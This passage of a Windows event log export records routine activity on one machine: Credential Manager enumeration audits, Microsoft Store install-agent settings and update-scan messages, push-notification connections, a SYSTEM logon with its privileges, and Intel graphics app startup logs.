08:29:25.819\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.819\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.819\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.820\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.820\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.820\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.820\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.821\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.821\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.821\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.822\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.866\t2005\t\"OneSettingsOnlineScanInterval (in seconds) = 86400\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1220)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"OneSettingsOnlineScansAllowedInInterval = 10\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1222)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"OneSettingsOnlineScanCooldown (in seconds) = 30\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1243)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"DirectDownloadEnablementState fetched from cache: 2\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementState\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2867)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"DirectDownloadEnablementSettings fetched from OneSettings payload: [{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[\"\"Install\"\"],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"Microsoft.WindowsStore_8wekyb3d8bbwe\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9NKSQGP7F2NH\"\",\"\"9NRX63209R7B\"\",\"\"9NTXR16HNW1T\"\",\"\"9PLM9XGG6VKS\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[\"\"0x00000000\"\",\"\"0x80004004\"\",\"\"0x80070032\"\",\"\"0x8007029C\"\",\"\"0x8007045B\"\",\"\"0x80070520\"\",\"\"0x80073CFB\"\",\"\"0x80073CFF\"\",\"\"0x80073D0A\"\",\"\"0x80073D13\"\",\"\"0x80073D19\"\",\"\"0x80073D22\"\",\"\"0x80240008\"\",\"\"0x8024001E\"\",\"\"0x80240066\"\",\"\"0x803FB003\"\",\"\"0x803FB015\"\",\"\"0xC8000710\"\",\"\"0x80073CF4\"\",\"\"0x80073D01\"\",\"\"0x80070070\"\",\"\"0x80073D21\"\",\"\"0x80246017\"\",\"\"0x80073CFE\"\"],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9PLRGHGXR4FM\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[\"\"CN\"\"],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9N3RK8ZV2ZR8\"\",\"\"9NRZT3Q9R3DL\"\",\"\"9P2B8MCSVPLN\"\",\"\"9NPV76S164X5\"\",\"\"9NBLGGH4RV3P\"\",\"\"9NBLGGH4SVJT\"\",\"\"9PHBC65ZG12V\"\",\"\"9NKSQGP7F2NH\"\",\"\"9NKRJ3SJ9SDG\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"DellInc.AlienwareCommandCenter_htrsf667h5kn2\"\",\"\"DSIC\"\",\"\"explorer\"\",\"\"AICompanion\"\",\"\"HP.Omen.OmenCommandCenter\"\",\"\"setup\"\",\"\"Language Overlay Service\"\",\"\"TabTip\"\",\"\"LiveCaptions\"\",\"\"Undetermined\"\",\"\"GamingService\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2891)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2944)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2007\t\"Error while reading DirectDownloadReplacementSettings from OneSettings cache, value will remain empty\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1360)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"DirectDownloadEnablementLiveCheckThreshold in milliseconds fetched from cache: 600000\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementLiveCheckThreshold\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3005)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"ProductCatalogUrl fetched from cache: https://fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx/secured\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadProductCatalogUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3027)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"SfEdgeFallbackEndpointUrl fetched from cache: https://sfdataservice.microsoft.com/package-retrieval\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadSfEdgeFallbackEndpointUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3048)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"CheckpointAbandonmentRules fetched from OneSettings payload: [{\"\"callerApplicationIdKeyword\"\":\"\"WindowsStore\"\",\"\"systemAttemptCountThreshold\"\":5,\"\"creationTimestampThresholdInDays\"\":2},{\"\"callerApplicationIdKeyword\"\":\"\"MoUsoCoreWorker\"\",\"\"systemAttemptCountThreshold\"\":2,\"\"creationTimestampThresholdInDays\"\":2}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadCheckpointAbandonmentRules\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3235)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (575)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Update block list not found or empty in OneSettings\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1457)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Checking if top-level window is visible for PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync, setting userInteractive = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (427)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.869\t2006\t\"Scan allowed inside interval for Microsoft.YourPhone_8wekyb3d8bbwe. Current last scan time cache: 2026-09-04T11:58:29+07:00;2026-09-04T12:02:46+07:00;2026-09-04T16:47:41+07:00;2026-09-05T08:29:25+07:00\nError: Unknown HResult Error code: 0xefffffff\nFunction: OnlineScanAllowedInInterval\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\stringhelpers.cpp (479)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.869\t2006\t\"Last scan time calculated, setting online = 1\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetIsOnlineScanAllowed\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (2374)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.870\t2006\t\"[Telemetry]: BeginScanForUpdates :: _TlgCV_ = exbuXxFHwECWL3f3.2.3.1.2.0.1 \u00a0IsOnline = true \u00a0IsApplicability = false \u00a0ClientAppId = Update;PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync \u00a0IsInteractive = false \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:26.506\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:26.507\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:26.510\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:26.510\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:26.510\t2006\t\"Cannot get any user tickets. Using device ticket\nError: The operation completed successfully.\nFunction: TryGetTickets\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\storeappinfo.cpp (1319)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:27.019\t2006\t\"[Telemetry]: DownloadUrl :: __TlgCV__ = fZ45hDIq50OyI64m.0.1.3 \u00a0PartB_Ms.Qos.OutgoingServiceRequest = 14 \u00a0operationName = DownloadUrl \u00a0targetUri = https://displaycatalog.mp.microsoft.com/v7.0/products/9NRZT3Q9R3DL/?fieldsTemplate=InstallAgent&market=RU&languages=en-US,en,neutral \u00a0latencyMs = 516 \u00a0serviceErrorCode = 0 \u00a0succeeded = true \u00a0requestMethod = GET \u00a0responseContentType = JSON \u00a0protocol = HTTP \u00a0protocolStatusCode = 200 \u00a0dependencyOperationName =  \u00a0dependencyOperationVersion =  \u00a0dependencyName =  \u00a0dependencyType =  \u00a0responseSizeBytes = 44249 \u00a0HResult = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:27.019\t2006\t\"Http GET response: https://displaycatalog.mp.microsoft.com/v7.0/products/9NRZT3Q9R3DL/?fieldsTemplate=InstallAgent&market=RU&languages=en-US,en,neutral\nError: The operation completed successfully.\nFunction: FetchUriResponseWithAuthTicket\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\httphelpers.cpp (369)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:27.021\t2005\t\"Device Info: DeviceFamily = Windows.Desktop, Version = 2814751484158928, Arch = AMD64 (K8)\u00a0\nError: The operation completed successfully.\nFunction: FindFulfillmentInfo\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\productdocument2helper.cpp (380)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:27.025\t1\tError 0x80070520 occurred. See event details for more information.\tError\tMicrosoft-Windows-CloudStore/Operational\tMicrosoft-Windows-CloudStore\n05.09.2026 08:29:27.025\t2\tError 0x80070520 occurred. See event details for more information.\tError\tMicrosoft-Windows-CloudStore/Operational\tMicrosoft-Windows-CloudStore\n05.09.2026 08:29:27.026\t1\tError 0x80070520 occurred. See event details for more information.\tError\tMicrosoft-Windows-CloudStore/Operational\tMicrosoft-Windows-CloudStore\n05.09.2026 08:29:27.026\t2\tError 0x80070520 occurred. See event details for more information.\tError\tMicrosoft-Windows-CloudStore/Operational\tMicrosoft-Windows-CloudStore\n05.09.2026 08:29:27.109\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:27.109\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:27.109\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:27.109\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:27.251\t62409\tFinished execution of command 'PhoneExperienceHost.exe' (PID 16216).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:27.310\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:27.310\t9707\tStarted execution of command 'IntelGraphicsSoftware.exe\" -s'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:27.647\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:27.647\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:27.725\t2\t{\"category\":\"AppCore\",\"level\":\"Information\",\"message\":\"**** Starting ****\",\"parameters\":{\"id\":16176}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:27.844\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Process\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Started\",\"value\":\"\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:27.868\t7040\tThe start type of the 